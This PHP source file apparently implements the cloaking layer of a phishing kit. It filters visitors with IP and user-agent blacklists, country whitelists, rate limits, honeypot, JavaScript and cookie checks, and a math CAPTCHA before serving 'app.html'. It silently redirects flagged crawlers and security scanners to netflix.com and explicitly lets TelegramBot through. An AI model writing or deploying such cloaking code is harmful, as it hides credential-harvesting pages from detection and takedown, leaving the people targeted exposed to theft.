<?php
// Set a higher PHP execution time limit for initial setup/large file fetches
// This helps prevent "Maximum execution time exceeded" errors during the first run
// when the database is initialized and large blacklists might be fetched.
set_time_limit(isset($PHP_EXECUTION_TIME_LIMIT) ? $PHP_EXECUTION_TIME_LIMIT : 60);

// Ensure session is started for cookie and CAPTCHA management
if (session_status() == PHP_SESSION_NONE) {
    session_name(isset($ANTIBOT_SESSION_NAME) ? $ANTIBOT_SESSION_NAME : 'antibot_session_default');
    session_start();
}

require_once(__DIR__ . '/config.php'); // Load global configuration
require_once(__DIR__ . '/botMother.php'); // Your existing botMother class

/**
 * Handles all database interactions for the AntiBotGate.
 * Uses SQLite for simplicity and self-containment.
 */
class AntiBotGateDB {
    private $pdo;
    private $dbPath;
    private $initSqlFile;
    private $config; // Added to access rate_limit_time_window

    public function __construct($dbPath, $initSqlFile, $config) {
        $this->dbPath = $dbPath;
        $this->initSqlFile = $initSqlFile;
        $this->config = $config; // Store config for cleanup logic
        $this->connect();
    }

    private function connect() {
        $dbDir = dirname($this->dbPath);
        if (!is_dir($dbDir)) {
            if (!mkdir($dbDir, 0755, true)) {
                error_log("AntiBotGateDB: Failed to create database directory: {$dbDir}");
                throw new Exception("Failed to create database directory: {$dbDir}. Please check permissions.");
            }
        }

        $isNewDb = !file_exists($this->dbPath);
        try {
            $this->pdo = new PDO("sqlite:{$this->dbPath}");
            $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            if ($isNewDb) {
                $this->initializeSchema();
            }
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Database connection error: " . $e->getMessage());
            throw new Exception("Database connection failed: " . $e->getMessage());
        }
    }

    private function initializeSchema() {
        if (!file_exists($this->initSqlFile)) {
            error_log("AntiBotGateDB: Database schema initialization file not found: {$this->initSqlFile}");
            throw new Exception("Database schema initialization file not found.");
        }
        $sql = file_get_contents($this->initSqlFile);
        $this->pdo->exec($sql);
        error_log("AntiBotGateDB: Database schema initialized.");
    }

    /**
     * Stores a blacklist entry in the database.
     * @param string $type 'ua_redirect', 'ua_generic', 'ip'
     * @param string $value The blacklist value (User-Agent pattern or IP)
     */
    public function storeBlacklistEntry($type, $value) {
        try {
            $stmt = $this->pdo->prepare("INSERT OR IGNORE INTO blacklists (type, value) VALUES (:type, :value)");
            $stmt->execute([':type' => $type, ':value' => $value]);
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Failed to store blacklist entry '{$value}' ({$type}): " . $e->getMessage());
        }
    }

    /**
     * Checks if a value is blacklisted in the database.
     * @param string $type 'ua_redirect', 'ua_generic', 'ip'
     * @param string $value The value to check (User-Agent or IP)
     * @return bool True if blacklisted, false otherwise.
     */
    public function isBlacklisted($type, $value) {
        try {
            // For UA, we need to check if the incoming UA contains any part of the blacklisted value
            if ($type === 'ua_redirect' || $type === 'ua_generic') {
                $stmt = $this->pdo->prepare("SELECT COUNT(*) FROM blacklists WHERE type = :type AND INSTR(:value, value) > 0"); // INSTR is SQLite's equivalent of LIKE '%val%'
                $stmt->execute([':type' => $type, ':value' => $value]);
            } else { // For IP, exact match or basic prefix match
                // This is a simplified IP range check for SQLite. For full CIDR, a custom PHP function or more complex SQL is needed.
                // It checks for exact match or if value starts with a blacklisted block (e.g., "1.2.3.4" LIKE "1.2.3.%")
                $stmt = $this->pdo->prepare("SELECT COUNT(*) FROM blacklists WHERE type = :type AND (:value = value OR :value LIKE value || '%')");
                $stmt->execute([':type' => $type, ':value' => $value]);
            }
            return $stmt->fetchColumn() > 0;
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Failed to check blacklist for '{$value}' ({$type}): " . $e->getMessage());
            return false; // Fail safe, assume not blacklisted if DB error
        }
    }

    /**
     * Stores IP geolocation data in the cache.
     * @param string $ip
     * @param array $data Geolocation data (country_code, city, etc.)
     */
    public function cacheGeolocation($ip, $data) {
        try {
            $stmt = $this->pdo->prepare("REPLACE INTO geolocation_cache (ip, country_code, country_name, city, isp, cached_at) VALUES (:ip, :cc, :cn, :city, :isp, CURRENT_TIMESTAMP)");
            $stmt->execute([
                ':ip' => $ip,
                ':cc' => $data['countryCode'] ?? null,
                ':cn' => $data['country'] ?? null,
                ':city' => $data['city'] ?? null,
                ':isp' => $data['isp'] ?? null
            ]);
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Failed to cache geolocation for '{$ip}': " . $e->getMessage());
        }
    }

    /**
     * Retrieves IP geolocation data from the cache.
     * @param string $ip
     * @param int $ttl Time-to-live in seconds
     * @return array|null Cached data or null if not found/expired.
     */
    public function getCachedGeolocation($ip, $ttl) {
        try {
            $stmt = $this->pdo->prepare("SELECT country_code, country_name, city, isp FROM geolocation_cache WHERE ip = :ip AND cached_at > datetime('now', -:ttl || ' seconds')");
            $stmt->execute([':ip' => $ip, ':ttl' => $ttl]);
            $result = $stmt->fetch(PDO::FETCH_ASSOC);
            return $result ?: null;
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Failed to retrieve cached geolocation for '{$ip}': " . $e->getMessage());
            return null; // Fail safe
        }
    }

    /**
     * Logs a request for rate limiting.
     * @param string $ip
     */
    public function logRequest($ip) {
        try {
            $stmt = $this->pdo->prepare("INSERT INTO request_log (ip, request_time) VALUES (:ip, CURRENT_TIMESTAMP)");
            $stmt->execute([':ip' => $ip]);
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Failed to log request for rate limiting '{$ip}': " . $e->getMessage());
        }
    }

    /**
     * Gets the count of requests for a given IP within a time window.
     * @param string $ip
     * @param int $timeWindow Time window in seconds
     * @return int Request count.
     */
    public function getRequestCount($ip, $timeWindow) {
        try {
            $stmt = $this->pdo->prepare("SELECT COUNT(*) FROM request_log WHERE ip = :ip AND request_time > datetime('now', -:time_window || ' seconds')");
            $stmt->execute([':ip' => $ip, ':time_window' => $timeWindow]);
            return $stmt->fetchColumn();
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Failed to get request count for '{$ip}': " . $e->getMessage());
            return 0; // Fail safe, assume 0 to not inadvertently block
        }
    }

    /**
     * Cleans up old rate limit entries from the log.
     * @param int $cleanupInterval How often to run cleanup (seconds).
     * @return bool True if cleanup performed, false if not yet time.
     */
    public function cleanOldRateLimitLogs($cleanupInterval) {
        $lastCleanupFile = dirname($this->dbPath) . '/_last_ratelimit_cleanup.tmp';
        $lastCleanup = file_exists($lastCleanupFile) ? (int)file_get_contents($lastCleanupFile) : 0;

        if (time() - $lastCleanup > $cleanupInterval) {
            error_log("AntiBotGateDB: Cleaning old rate limit logs...");
            try {
                // Delete entries older than the rate limit window plus some buffer
                $stmt = $this->pdo->prepare("DELETE FROM request_log WHERE request_time < datetime('now', -:time_window || ' seconds')");
                $stmt->execute([':time_window' => $this->config['rate_limit_time_window'] + 300]); // +5 minutes buffer
                file_put_contents($lastCleanupFile, time());
                error_log("AntiBotGateDB: Old rate limit logs cleaned.");
                return true;
            } catch (PDOException $e) {
                error_log("AntiBotGateDB: Failed to clean old rate limit logs: " . $e->getMessage());
                return false;
            }
        }
        return false;
    }

    /**
     * Logs traffic activity to the database.
     * @param string $logType 'bot_detected', 'human_passed', 'captcha_failed', 'redirected'
     * @param string $ip
     * @param string $userAgent
     * @param string $reason
     */
    public function logTraffic($logType, $ip, $userAgent, $reason = null) {
        try {
            $stmt = $this->pdo->prepare("INSERT INTO traffic_log (log_type, ip, user_agent, reason) VALUES (:type, :ip, :ua, :reason)");
            $stmt->execute([
                ':type' => $logType,
                ':ip' => $ip,
                ':ua' => substr($userAgent, 0, 255), // Truncate UA if too long for schema
                ':reason' => substr($reason, 0, 255) // Truncate reason if too long
            ]);
        } catch (PDOException $e) {
            error_log("AntiBotGateDB: Failed to log traffic ('{$logType}' for '{$ip}'): " . $e->getMessage());
        }
    }
}


/**
 * Main AntiBotGate class
 */
class AntiBotGate {

    private $config;
    private $isBot;
    private $botReason;
    private $netflixRedirectUrl = "https://www.netflix.com"; // Specific URL for silent redirection
    private $botMother; // Instance of botMother
    private $db; // Instance of AntiBotGateDB

    public function __construct() {
        global $REDIRECTION, $FILTER_COUNTRIES, $WHITELIST_COUNTRIES, $UA_REDIRECT_BLACKLIST_STATIC, $UA_GENERIC_BLACKLIST_STATIC, $IP_BLACKLIST_STATIC, $test_mode, $logs;
        global $CAPTCHA_MIN_NUMBER, $CAPTCHA_MAX_NUMBER;
        global $ENABLE_ONLINE_BLACKLIST_UPDATE, $ONLINE_UA_BLACKLIST_URL, $ONLINE_IP_BLACKLIST_URL, $ONLINE_BLACKLIST_UPDATE_INTERVAL;
        global $DB_PATH, $DB_INIT_SQL_FILE, $HONEYPOT_FIELD_NAME, $JS_CHALLENGE_FIELD_NAME;
        global $ENABLE_RATE_LIMITING, $RATE_LIMIT_MAX_REQUESTS, $RATE_LIMIT_TIME_WINDOW, $RATE_LIMIT_CLEANUP_INTERVAL;
        global $JS_MIN_WIDTH, $JS_MIN_HEIGHT;
        global $PHP_EXECUTION_TIME_LIMIT; // Read time limit

        // Apply PHP execution time limit early
        set_time_limit($PHP_EXECUTION_TIME_LIMIT);


        $this->config = [
            'redirection' => $REDIRECTION,
            'filter_countries' => strtolower($FILTER_COUNTRIES) === 'yes',
            'whitelist_countries' => $WHITELIST_COUNTRIES,
            'ua_redirect_blacklist_static' => $UA_REDIRECT_BLACKLIST_STATIC,
            'ua_generic_blacklist_static' => $UA_GENERIC_BLACKLIST_STATIC,
            'ip_blacklist_static' => $IP_BLACKLIST_STATIC,
            'test_mode' => strtolower($test_mode) === 'yes',
            'logs_enabled' => strtolower($logs) === 'yes', // This now primarily controls botMother's flat file logs
            'captcha_min' => $CAPTCHA_MIN_NUMBER,
            'captcha_max' => $CAPTCHA_MAX_NUMBER,
            'enable_online_update' => strtolower($ENABLE_ONLINE_BLACKLIST_UPDATE) === 'yes',
            'online_ua_url' => $ONLINE_UA_BLACKLIST_URL,
            'online_ip_url' => $ONLINE_IP_BLACKLIST_URL,
            'online_update_interval' => $ONLINE_BLACKLIST_UPDATE_INTERVAL,
            'db_path' => $DB_PATH,
            'db_init_sql_file' => $DB_INIT_SQL_FILE,
            'honeypot_field_name' => $HONEYPOT_FIELD_NAME,
            'js_challenge_field_name' => $JS_CHALLENGE_FIELD_NAME,
            'js_min_width' => $JS_MIN_WIDTH,
            'js_min_height' => $JS_MIN_HEIGHT,
            'enable_rate_limiting' => strtolower($ENABLE_RATE_LIMITING) === 'yes',
            'rate_limit_max_requests' => $RATE_LIMIT_MAX_REQUESTS,
            'rate_limit_time_window' => $RATE_LIMIT_TIME_WINDOW,
            'rate_limit_cleanup_interval' => $RATE_LIMIT_CLEANUP_INTERVAL,
        ];

        $this->isBot = false;
        $this->botReason = '';

        // Instantiate botMother for basic IP and User-Agent helpers
        $this->botMother = new botMother();

        // Initialize Database Manager
        try {
            $this->db = new AntiBotGateDB($this->config['db_path'], $this->config['db_init_sql_file'], $this->config);
        } catch (Exception $e) {
            error_log("AntiBotGate: Critical database initialization error: " . $e->getMessage());
            // If DB fails, we must fall back to a safer, but less robust, mode.
            // For now, we'll log the error and allow traffic to pass to prevent site downtime.
            // In a production scenario, you might want a hard block/redirect here.
            $this->isBot = true; // Mark as bot due to system failure
            $this->botReason = "Critical DB error, protection degraded.";
            return; 
        }

        // --- Populate blacklists into DB on first run/if DB is new/recreated ---
        $this->populateStaticBlacklistsToDb();
        $this->loadLocalBlacklistsToDb(); // Load from .jhn files into DB

        // --- Fetch and merge online blacklists into DB periodically ---
        $this->fetchOnlineBlacklists();

        // Cleanup old rate limit entries periodically
        $this->db->cleanOldRateLimitLogs($this->config['rate_limit_cleanup_interval']);
    }

    private function populateStaticBlacklistsToDb() {
        // Use a flag file based on DB path to ensure this only runs once per DB creation
        $initFlagFile = dirname($this->config['db_path']) . '/_db_static_populated.tmp';
        if (!file_exists($initFlagFile)) {
            error_log("AntiBotGate: Populating static blacklists into DB...");
            foreach ($this->config['ua_redirect_blacklist_static'] as $ua) {
                $this->db->storeBlacklistEntry('ua_redirect', $ua);
            }
            foreach ($this->config['ua_generic_blacklist_static'] as $ua) {
                $this->db->storeBlacklistEntry('ua_generic', $ua);
            }
            foreach ($this->config['ip_blacklist_static'] as $ip) {
                $this->db->storeBlacklistEntry('ip', $ip);
            }
            file_put_contents($initFlagFile, time()); // Mark as populated
            error_log("AntiBotGate: Static blacklists populated.");
        }
    }

    private function loadLocalBlacklistsToDb() {
        // Use a flag file to avoid re-loading JHN on every request
        $jhnLoadedFlagFile = dirname($this->config['db_path']) . '/_db_jhn_loaded.tmp';
        if (file_exists($jhnLoadedFlagFile)) {
            return; // Already loaded JHN files
        }

        error_log("AntiBotGate: Loading JHN blacklists into DB...");
        // Load AGENTS.jhn for User-Agent blacklists
        $agentsJhnFile = __DIR__ . '/data/AGENTS.jhn';
        if (file_exists($agentsJhnFile)) {
            $content = file_get_contents($agentsJhnFile);
            $newUAs = array_map('trim', explode(',', $content));
            foreach ($newUAs as $ua) {
                $this->db->storeBlacklistEntry('ua_redirect', $ua);
                $this->db->storeBlacklistEntry('ua_generic', $ua);
            }
            error_log("AntiBotGate: Loaded AGENTS.jhn into DB.");
        } else {
            error_log("AntiBotGate: AGENTS.jhn not found at {$agentsJhnFile}");
        }

        // Load IPS.jhn for IP blacklist
        $ipsJhnFile = __DIR__ . '/data/IPS.jhn';
        if (file_exists($ipsJhnFile)) {
            $content = file_get_contents($ipsJhnFile);
            $newIps = array_map('trim', explode(',', $content));
            foreach ($newIps as $ip) {
                $this->db->storeBlacklistEntry('ip', $ip);
            }
            error_log("AntiBotGate: Loaded IPS.jhn into DB.");
        } else {
            error_log("AntiBotGate: IPS.jhn not found at {$ipsJhnFile}");
        }

        // Load IPS_RANGE.jhn for IP range blacklist
        $ipsRangeJhnFile = __DIR__ . '/data/IPS_RANGE.jhn';
        if (file_exists($ipsRangeJhnFile)) {
            $content = file_get_contents($ipsRangeJhnFile);
            $newIpRanges = array_map('trim', explode(',', $content));
            foreach ($newIpRanges as $ipRange) {
                $this->db->storeBlacklistEntry('ip', $ipRange);
            }
            error_log("AntiBotGate: Loaded IPS_RANGE.jhn into DB.");
        } else {
            error_log("AntiBotGate: IPS_RANGE.jhn not found at {$ipsRangeJhnFile}");
        }
        file_put_contents($jhnLoadedFlagFile, time()); // Mark JHN files as loaded
    }

    private function fetchOnlineBlacklists() {
        $lastUpdateFile = dirname($this->config['db_path']) . '/_last_online_update.tmp'; // Use DB path for related tmp file
        $lastUpdate = file_exists($lastUpdateFile) ? (int)file_get_contents($lastUpdateFile) : 0;

        // Only fetch if interval has passed and online update is enabled
        if ($this->config['enable_online_update'] && (time() - $lastUpdate > $this->config['online_update_interval'])) {
            error_log("AntiBotGate: Fetching online blacklists...");

            // Fetch UA Blacklist
            if (!empty($this->config['online_ua_url'])) {
                // Use stream_context_create for timeouts and better error handling
                $context = stream_context_create(['http' => ['timeout' => 10]]); // 10 second timeout
                $uaContent = @file_get_contents($this->config['online_ua_url'], false, $context);
                if ($uaContent !== false) {
                    $onlineUAs = array_map('trim', explode(',', $uaContent));
                    foreach ($onlineUAs as $ua) {
                        if (!empty($ua)) { // Prevent empty strings from being added
                            $this->db->storeBlacklistEntry('ua_redirect', $ua); // Add to both for comprehensive block/redirect
                            $this->db->storeBlacklistEntry('ua_generic', $ua);
                        }
                    }
                    error_log("AntiBotGate: Loaded online UA blacklist.");
                } else {
                    error_log("AntiBotGate: Failed to fetch online UA blacklist from {$this->config['online_ua_url']}");
                }
            }

            // Fetch IP Blacklist
            if (!empty($this->config['online_ip_url'])) {
                $context = stream_context_create(['http' => ['timeout' => 10]]);
                $ipContent = @file_get_contents($this->config['online_ip_url'], false, $context);
                if ($ipContent !== false) {
                    // Split by newline or comma, filter empty
                    $onlineIps = array_map('trim', preg_split('/[\n,]/', $ipContent, -1, PREG_SPLIT_NO_EMPTY));
                    foreach ($onlineIps as $ip) {
                        if (!empty($ip)) { // Prevent empty strings from being added
                            $this->db->storeBlacklistEntry('ip', $ip);
                        }
                    }
                    error_log("AntiBotGate: Loaded online IP blacklist.");
                } else {
                    error_log("AntiBotGate: Failed to fetch online IP blacklist from {$this->config['online_ip_url']}");
                }
            }
            
            file_put_contents($lastUpdateFile, time()); // Update last update timestamp
        }
    }

    private function getClientIp() {
        $ip = $this->botMother->getIp();
        if ($this->config['test_mode'] && in_array($ip, $this->botMother->TEST_MODE_IPS)) {
            return "1.1.1.1"; 
        }
        return $ip;
    }

    private function getClientUserAgent() {
        return $this->botMother->getUserAgent();
    }

    private function performSilentRedirect($targetUrl) {
        header("Location: " . $targetUrl, true, 302);
        $this->db->logTraffic('redirected', $this->getClientIp(), $this->getClientUserAgent(), "Silently redirected to {$targetUrl}");
        exit();
    }

    // --- Core Bot Checks ---

    private function checkUserAgentForRedirect() {
        $userAgent = $this->getClientUserAgent();
        if (empty(trim($userAgent))) {
            return false;
        }
        return $this->db->isBlacklisted('ua_redirect', $userAgent);
    }

    private function checkUserAgentGeneric() {
        $userAgent = $this->getClientUserAgent();
        if (empty(trim($userAgent)) || trim($userAgent) === 'Mozilla/5.0' || trim($userAgent) === '-') {
            $this->isBot = true;
            $this->botReason = "Empty or Generic User-Agent";
            return false;
        }
        if ($this->db->isBlacklisted('ua_generic', $userAgent)) {
            $this->isBot = true;
            $this->botReason = "UA matched generic blacklist: '{$userAgent}'";
            return false;
        }
        return true;
    }

    private function checkRequiredHeaders() {
        if (!isset($_SERVER['HTTP_ACCEPT']) || empty($_SERVER['HTTP_ACCEPT'])) {
            $this->isBot = true;
            $this->botReason = "Missing Accept header";
            return false;
        }
        if (!isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
            $this->isBot = true;
            $this->botReason = "Missing Accept-Language header";
            return false;
        }
        return true;
    }

    private function checkIpBlacklist() {
        $clientIp = $this->getClientIp();
        if ($this->db->isBlacklisted('ip', $clientIp)) {
            $this->isBot = true;
            $this->botReason = "Blacklisted IP: {$clientIp}";
            return false;
        }
        return true;
    }

    private function checkCountryAccess() {
        if ($this->config['filter_countries']) {
            try {
                $ip = $this->getClientIp();
                // Cache geolocation for 24 hours (86400 seconds)
                $ipData = $this->db->getCachedGeolocation($ip, 86400); 

                if (!$ipData) { // Not in cache or expired, fetch from API
                    $apiUrl = $this->botMother->IP_API . $ip; // Using botMother's API URL
                    // Use stream_context_create for timeout
                    $context = stream_context_create(['http' => ['timeout' => 5]]); // 5 second timeout for IP API
                    $response = @file_get_contents($apiUrl, false, $context);

                    if ($response === false) {
                        error_log("AntiBotGate: Failed to fetch IP geolocation for {$ip} from API (timeout or error).");
                        return true; // Fail safe: allow if API call fails
                    }
                    $apiData = json_decode($response, true);
                    if ($apiData && isset($apiData['status']) && $apiData['status'] === 'success') {
                        $this->db->cacheGeolocation($ip, $apiData); // Cache the successful response
                        $ipData = $apiData;
                    } else {
                        error_log("AntiBotGate: IP Geolocation API returned error for {$ip}: " . json_encode($apiData));
                        return true; // Fail safe: allow if API returns error
                    }
                }

                if ($ipData && isset($ipData['country_code'])) {
                    $countryCode = $ipData['country_code'];
                    if (empty($countryCode) || !in_array($countryCode, $this->config['whitelist_countries'])) {
                        $this->isBot = true;
                        $this->botReason = "Access denied for country: {$countryCode}";
                        return false;
                    }
                } else {
                    error_log("AntiBotGate: Could not get valid country code from IP geolocation for {$ip} (cached data missing 'country_code').");
                    return true; // Allow if valid country code can't be determined
                }
            } catch (Exception $e) {
                error_log("AntiBotGate: IP Geolocation handling error: " . $e->getMessage());
                return true; // Allow on exception
            }
        }
        return true;
    }

    private function checkCookieFingerprint() {
        // This check detects crawlers that do not handle cookies at all.
        $cookieName = 'ab_session_cookie'; 
        $cookieValue = hash('sha256', uniqid(mt_rand(), true) . microtime());
        $cookieExpire = time() + (86400 * 30); // 30 days
        $cookiePath = '/';
        $cookieDomain = $_SERVER['HTTP_HOST'];
        $cookieSecure = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on';
        $cookieHttpOnly = true;

        if (!isset($_COOKIE[$cookieName])) {
            setcookie($cookieName, $cookieValue, [
                'expires' => $cookieExpire, 'path' => $cookiePath, 'domain' => $cookieDomain,
                'secure' => $cookieSecure, 'httponly' => $cookieHttpOnly, 'samesite' => 'Lax'
            ]);
            // If we've already tried to set it in a previous request during the *same session* and it's not back, likely a bot.
            // This relies on the 'ab_cookie_set_attempt' session flag.
            if (isset($_SESSION['ab_cookie_set_attempt']) && $_SESSION['ab_cookie_set_attempt'] === true) {
                 $this->isBot = true;
                 $this->botReason = "Cookie not returned after previous set attempt";
                 unset($_SESSION['ab_cookie_set_attempt']); // Reset for next attempt
                 return false;
            } else {
                $_SESSION['ab_cookie_set_attempt'] = true; // Mark that we've tried to set it
            }
        } else {
            // Cookie exists, indicates browser likely supports cookies
            unset($_SESSION['ab_cookie_set_attempt']); // Clear flag once cookie is received
        }
        return true;
    }

    private function checkHoneypot() {
        $honeypotFieldName = $this->config['honeypot_field_name'];
        if (isset($_POST[$honeypotFieldName]) && !empty($_POST[$honeypotFieldName])) {
            $this->isBot = true;
            $this->botReason = "Honeypot field filled";
            return false;
        }
        return true;
    }

    private function checkJSChallenge() {
        $jsChallengeFieldName = $this->config['js_challenge_field_name'];
        
        // Retrieve browser dimensions sent from JS
        $browserWidth = isset($_POST['browser_width']) ? (int)$_POST['browser_width'] : 0;
        $browserHeight = isset($_POST['browser_height']) ? (int)$_POST['browser_height'] : 0;

        if (!isset($_POST[$jsChallengeFieldName]) || empty($_POST[$jsChallengeFieldName])) {
            $this->isBot = true;
            $this->botReason = "JS Challenge timestamp missing or empty";
            return false;
        }
        
        $submittedTimestamp = (int)$_POST[$jsChallengeFieldName];
        $expectedMinTime = time() - 15; // Increased window for clock skew/latency (15 seconds)
        $expectedMaxTime = time() + 15; 

        if ($submittedTimestamp < $expectedMinTime || $submittedTimestamp > $expectedMaxTime) {
            $this->isBot = true;
            $this->botReason = "JS Challenge timestamp outside expected range (Submitted: {$submittedTimestamp}, Server: " . time() . ")";
            return false;
        }

        // Additional check: are browser dimensions realistic?
        // This helps catch headless browsers that don't emulate screens
        if ($browserWidth < $this->config['js_min_width'] || $browserHeight < $this->config['js_min_height']) {
            $this->isBot = true;
            $this->botReason = "JS Challenge: Unrealistic browser dimensions (W: {$browserWidth}, H: {$browserHeight})";
            return false;
        }

        return true;
    }

    private function checkRateLimit() {
        if (!$this->config['enable_rate_limiting']) {
            return true;
        }

        $clientIp = $this->getClientIp();
        // Log the current request BEFORE checking count, so it's included in the current window.
        $this->db->logRequest($clientIp); 
        
        $requestCount = $this->db->getRequestCount($clientIp, $this->config['rate_limit_time_window']);

        if ($requestCount > $this->config['rate_limit_max_requests']) {
            $this->isBot = true;
            $this->botReason = "Rate limit exceeded ({$clientIp} made {$requestCount} requests in {$this->config['rate_limit_time_window']}s)";
            return false;
        }

        return true;
    }


    public function showCaptcha($errorMessage = '') {
        $num1 = mt_rand($this->config['captcha_min'], $this->config['captcha_max']);
        $num2 = mt_rand($this->config['captcha_min'], $this->config['captcha_max']);
        $operator = (mt_rand(0, 1) == 0) ? '+' : '-';

        if ($operator == '-') {
            if ($num1 < $num2) {
                list($num1, $num2) = [$num2, $num1];
            }
        }
        $captcha_question = "What is {$num1} {$operator} {$num2}?";
        
        $_SESSION['captcha_answer'] = eval("return {$num1} {$operator} {$num2};");
        $_SESSION['captcha_timestamp'] = time();

        // Pass variables to the template
        $honeypot_field_name = $this->config['honeypot_field_name'];
        $js_challenge_field_name = $this->config['js_challenge_field_name'];
        $error_message = $errorMessage;

        // Render the CAPTCHA template
        include(__DIR__ . '/captcha_template.php');
        exit();
    }

    public function handleCaptchaSubmission() {
        // Clear any previous error before processing this submission
        unset($_SESSION['captcha_error']); 

        // Important: First, check the silent JS/Honeypot challenges.
        // If they fail, don't even bother with the math CAPTCHA, it's a bot.
        if (!$this->checkHoneypot()) {
            $_SESSION['captcha_error'] = "Security check failed (honeypot).";
            $this->db->logTraffic('captcha_failed', $this->getClientIp(), $this->getClientUserAgent(), $this->botReason);
            return false;
        }
        if (!$this->checkJSChallenge()) {
            $_SESSION['captcha_error'] = "Security check failed (JavaScript).";
            $this->db->logTraffic('captcha_failed', $this->getClientIp(), $this->getClientUserAgent(), $this->botReason);
            return false;
        }

        // Now proceed with math CAPTCHA validation
        if (!isset($_POST['captcha_answer'], $_SESSION['captcha_answer'], $_SESSION['captcha_timestamp'])) {
            $_SESSION['captcha_error'] = "Invalid CAPTCHA submission. Please try again.";
            $this->db->logTraffic('captcha_failed', $this->getClientIp(), $this->getClientUserAgent(), "Missing CAPTCHA session data");
            return false;
        }

        if (time() - $_SESSION['captcha_timestamp'] < 2) { // Minimum 2 seconds to solve
            $_SESSION['captcha_error'] = "Too fast! Please try again.";
            $this->db->logTraffic('captcha_failed', $this->getClientIp(), $this->getClientUserAgent(), "CAPTCHA submitted too fast");
            return false;
        }

        $submittedAnswer = (int)$_POST['captcha_answer'];
        $correctAnswer = (int)$_SESSION['captcha_answer'];

        unset($_SESSION['captcha_answer']);
        unset($_SESSION['captcha_timestamp']);

        if ($submittedAnswer === $correctAnswer) {
            $_SESSION['is_human'] = true;
            return true;
        } else {
            $_SESSION['captcha_error'] = "Incorrect answer. Please try again.";
            $this->db->logTraffic('captcha_failed', $this->getClientIp(), $this->getClientUserAgent(), "Incorrect CAPTCHA answer");
            return false;
        }
    }

    public function run() {
        $userAgent = $this->getClientUserAgent();
        $clientIp = $this->getClientIp();

        // STEP 0: EXPLICIT WHITELIST FOR TELEGRAM BOT: IMPORTANT FOR POLLING
        if (stripos($userAgent, "TelegramBot") !== false) {
            $this->db->logTraffic('human_passed', $clientIp, $userAgent, "TelegramBot Whitelisted");
            return true; // Telegram Bot allowed, proceed to app.html
        }

        // STEP 1: If test mode is enabled and current IP is a TEST_MODE_IP, skip all checks
        if ($this->config['test_mode'] && in_array($clientIp, $this->botMother->TEST_MODE_IPS)) {
            $this->db->logTraffic('human_passed', $clientIp, $userAgent, "Test Mode IP Whitelisted");
            $_SESSION['is_human'] = true;
            return true;
        }

        // STEP 2: Check if already verified as human in this session
        // This is checked *after* TelegramBot and Test Mode to prioritize them.
        if (isset($_SESSION['is_human']) && $_SESSION['is_human'] === true) {
            $this->db->logTraffic('human_passed', $clientIp, $userAgent, "Session already verified");
            return true; // Already verified, proceed to app.html
        }

        // STEP 3: Apply Rate Limiting first
        if (!$this->checkRateLimit()) {
            $this->db->logTraffic('bot_detected', $clientIp, $userAgent, $this->botReason); // Log reason from checkRateLimit
            $this->showCaptcha("Too many requests. Please try again later."); // Use CAPTCHA as soft block for rate limit
            // Script exits here
        }

        // STEP 4: Prioritized check for bots to be *silently redirected* to Netflix.com
        if ($this->checkUserAgentForRedirect()) {
            $this->performSilentRedirect($this->netflixRedirectUrl);
            // Script exits here
        }

        // STEP 5: Handle CAPTCHA submission (if form was posted)
        // This runs if it wasn't a Telegram bot, not test mode, not already verified, not rate-limited, and not silently redirected.
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['captcha_answer'])) {
            if ($this->handleCaptchaSubmission()) { // This now checks honeypot, JS challenge, and math
                // CAPTCHA solved and silent challenges passed, now also run general silent checks one more time as a final gate.
                if ($this->checkUserAgentGeneric() && $this->checkRequiredHeaders() && $this->checkIpBlacklist() && $this->checkCountryAccess() && $this->checkCookieFingerprint()) {
                    $this->db->logTraffic('human_passed', $clientIp, $userAgent, "CAPTCHA solved and all checks passed");
                    return true; // All checks passed, proceed to app.html
                } else {
                    // This scenario means something in their request (UA, IP, headers) failed a general check
                    // *even after* they passed CAPTCHA and other silent challenges. Highly suspicious.
                    $errorMessage = isset($_SESSION['captcha_error']) ? $_SESSION['captcha_error'] : "Security re-evaluation failed after CAPTCHA. Please try again.";
                    $this->db->logTraffic('bot_detected', $clientIp, $userAgent, $this->botReason); // Log the specific reason
                    $this->showCaptcha($errorMessage); // Show CAPTCHA again with specific error
                }
            } else {
                // CAPTCHA failed (math, honeypot, or JS challenge)
                $errorMessage = isset($_SESSION['captcha_error']) ? $_SESSION['captcha_error'] : "Verification failed. Please try again.";
                $this->showCaptcha($errorMessage); // Show it again with error from handleCaptchaSubmission
            }
        }
        
        // STEP 6: Initial visit (not a POST yet) or previous CAPTCHA failed.
        // Run general silent checks. If any fail, we present CAPTCHA.
        if (!$this->checkUserAgentGeneric() || !$this->checkRequiredHeaders() || !$this->checkIpBlacklist() || !$this->checkCountryAccess() || !$this->checkCookieFingerprint()) {
             $this->db->logTraffic('bot_detected', $clientIp, $userAgent, $this->botReason); // Log the specific reason for detection
             $this->showCaptcha("Security checks failed. Please verify you are human.");
        }

        // STEP 7: If all checks above passed (not Telegram bot, not test mode, not silent redirect bot,
        // not rate-limited, not general blacklisted bot, and not already human verified, and no CAPTCHA submission yet),
        // then present the CAPTCHA as the initial human verification.
        if (!isset($_SESSION['is_human']) || $_SESSION['is_human'] !== true) {
            // This is the default path for a new, seemingly legitimate visitor who hasn't been auto-verified.
            $this->showCaptcha(); 
        }
        
        return false; // Should not logically reach here if showCaptcha() exits or a redirect occurs
    }
}
?>
